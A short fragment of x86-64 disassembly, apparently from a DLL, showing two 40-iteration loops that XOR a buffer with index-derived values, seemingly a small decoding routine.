psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [r10 + rdx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rdx - 0x10], xmm3
cmp r9d, 0x28
jl 0x1800062a0
movaps xmm9, xmmword [rsp]
movaps xmm8, xmmword [rsp + 0x10]
movaps xmm7, xmmword [rsp + 0x20]
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x48
ret
sub r10, rcx
nop dword [rax]
nop word [rax + rax]
mov r8d, r9d
lea rcx, [rcx + 2]
mov eax, 0x4d4873ed
imul r9d
inc r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x35
sub r8d, eax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x32
sub r8d, eax
add r8w, 0x31
xor r8w, word [rcx + r10 - 2]
mov word [rcx - 2], r8w
cmp r9d, 0x28
jl 0x180006430
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x48
ret